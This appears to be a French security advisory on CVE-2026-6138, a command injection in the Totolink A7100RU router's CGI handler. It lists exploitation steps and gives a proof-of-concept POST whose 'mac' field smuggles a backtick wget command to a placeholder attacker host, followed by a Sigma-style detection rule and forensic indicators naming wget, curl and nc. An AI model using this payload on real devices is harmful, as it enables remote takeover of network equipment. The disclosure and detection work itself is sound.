Aller au contenu

CVE-2026-6138: injection critique de commandes OS à distance dans le Totolink A7100RU

la sécurité du matériel réseau embarqué demeure un vecteur primaire pour les acteurs malveillants. la CVE-2026-6138 met en évidence un défaut critique de sanitisation des entrées dans le composant de gestion CGI du Totolink A7100RU. compte tenu du rôle de l’appareil dans l’infrastructure de bordure de réseau, cette vulnérabilité représente un risque significatif de mouvement latéral vers les segments internes.

la vulnérabilité réside dans le binaire /cgi-bin/cstecgi.cgi, spécifiquement dans la fonction setAccessDeviceCfg. lors du traitement de l’argument mac, l’application ne valide ni ne sanitise correctement les données fournies par l’utilisateur avant de les transmettre aux utilitaires système internes.

plus précisément, le paramètre mac contrôlé par l’utilisateur est transmis à la fonction Uci_Add_List (issue de libcscommon.so). via une manipulation supplémentaire, cette entrée est intégrée dans une chaîne de commande système gérée par la fonction CsteSystem, laquelle invoque ensuite execv(). comme la construction de la commande est effectuée sans échappement adéquat, un attaquant peut s’extraire du contexte de l’argument prévu et ajouter des commandes shell arbitraires.

  1. identification de la cible : identifier une instance accessible de Totolink A7100RU exécutant la version de firmware 7.4cu.2313_b20191024.
  2. préparation de la payload : préparer une chaîne malveillante, telle qu’une commande shell (ex: wget, curl, ou un reverse shell), encapsulée dans des backticks ou des séparateurs de commande au sein du champ mac.
  3. exploitation : soumettre la requête POST formatée vers le point de terminaison vulnérable.
  4. exécution : le gestionnaire CGI de l’appareil interprète la commande injectée et l’exécute avec les privilèges système.

la requête HTTP suivante démontre comment un attaquant pourrait exploiter cette faille :

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: <TARGET_IP>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
{"topicurl":"setAccessDeviceCfg","mac":"`wget <ATTACKER_IP>:<PORT>/testpoc`"}

les équipes d’analyse doivent prioriser la visibilité sur le trafic HTTP ciblant le répertoire /cgi-bin/ des routeurs de bordure.

title: Totolink A7100RU Command Injection Attempt
logsource:
category: web_server
detection:
selection:
url|contains: "/cgi-bin/cstecgi.cgi"
http_method: "POST"
body|contains: ["setAccessDeviceCfg", "mac"]
condition: selection

lors de l’investigation d’un compromis potentiel, focalisez-vous sur les indicateurs suivants :

  • requêtes HTTP POST inhabituelles : surveiller les logs pour des requêtes correspondant aux motifs identifiés ci-dessus.
  • apparition de processus inattendus : rechercher des preuves d’exécution de wget, curl, sh, nc, ou d’autres utilitaires réseau spawned par le processus cstecgi.cgi.
  • persistance : analyser les images forensic de l’appareil pour détecter des ajouts non autorisés dans les scripts de démarrage ou les fichiers de configuration, permettant la persistance après redémarrage.